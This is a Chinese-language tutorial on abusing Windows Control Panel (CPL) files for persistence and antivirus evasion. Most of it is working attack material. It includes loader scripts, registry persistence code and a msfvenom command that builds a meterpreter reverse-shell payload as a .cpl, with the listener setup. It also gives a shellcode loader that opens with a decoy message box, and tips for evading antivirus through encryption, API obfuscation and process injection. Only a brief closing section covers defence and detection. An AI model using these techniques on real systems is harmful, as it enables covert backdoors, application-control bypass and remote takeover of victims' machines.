巧用CPL文件进行权限维持与免杀技术详解

一、CPL文件基础概念

1.1 CPL文件定义

CPL文件（Control Panel Item）是Windows控制面板扩展项，属于PE文件类型，位于system32目录下，每个CPL文件对应控制面板的一个子选项。

1.2 CPL文件特性

• 本质是PE文件，但更类似于DLL而非EXE
• 不能直接执行，必须通过加载方式运行
• 必须包含导出函数CPlApplet（控制面板应用程序入口点）

二、CPL文件执行方法

2.1 常规执行方式

1. 双击或运行命令：

   win+r xxx.cpl
   

2. 使用control命令：

   control <文件名>
   

3. 使用rundll32：

   rundll32 shell32.dll,Control_RunDLL <文件名>
   

   注意：所有rundll32 shell32.dll,Control_RunDLL命令都可用control替代

2.2 脚本执行方式

VBS脚本：

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\path\to\file.cpl")

JS脚本：

var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\path\\to\\file.cpl");

三、CPL文件制作技术

3.1 基础CPL文件制作

最简单的CPL文件实际上就是一个改后缀的DLL，示例代码：

BOOL APIENTRY DllMain(HMODULE hModule,
                     DWORD  ul_reason_for_call,
                     LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("Calc.exe", SW_SHOW); // 执行计算器
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

3.2 标准CPL文件结构

完整CPL文件应包含CPlApplet导出函数：

extern "C" __declspec(dllexport) VOID CPlApplet(
    HWND hwndCPl, 
    UINT msg, 
    LPARAM lParam1, 
    LPARAM lParam2)
{
    // 执行代码
}

四、CPL文件在渗透测试中的应用

4.1 绕过Windows AppLocker

Windows AppLocker默认规则不包含CPL文件限制，可用于绕过应用程序执行限制。

AppLocker默认规则集合：

• .exe
• .msi
• .dll
• .ocx
• .ps1
• .cmd
• .bat
• .vbs
• .js

CPL文件不在默认限制列表中

4.2 权限维持技术

通过注册表实现持久化：

HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,
    "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 
    0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

4.3 MSF生成CPL后门

使用MSF生成CPL格式的payload：

msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=<IP> lport=<PORT> -f dll -o payload.cpl

监听设置：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <IP>
set lport <PORT>
exploit

五、高级免杀技术

5.1 Shellcode加载器实现

自定义Shellcode加载器示例：

#include "pch.h"
#include "windows.h"

extern "C" __declspec(dllexport) VOID CPlApplet(
    HWND hwndCPl, 
    UINT msg, 
    LPARAM lParam1, 
    LPARAM lParam2)
{
    MessageBoxA(0, NULL, "test", MB_OK); // 迷惑行为
    unsigned char buf[] = "shellcode"; // 替换为实际shellcode
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)(); // 执行shellcode
}

5.2 免杀优化建议

1. Shellcode处理：

   • 加密/编码shellcode
   • 分块加载
   • 动态生成

2. API混淆：

   • 动态获取API地址
   • 使用不常见API
   • API链调用

3. 白加黑技术：

   • 利用合法签名文件加载
   • 进程注入

六、防御与检测建议

6.1 防御措施

1. 限制CPL文件执行：

   reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
   

2. 监控注册表键值：

   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
   

3. 自定义AppLocker规则添加CPL文件限制

6.2 检测方法

1. 监控rundll32.exe异常调用
2. 检查异常control.exe进程
3. 扫描非常规位置的CPL文件
4. 监控CPL文件加载事件

七、参考资源

1. CPL文件利用介绍 - WooYun
2. MITRE ATT&CK T1218.002
3. Microsoft AppLocker文档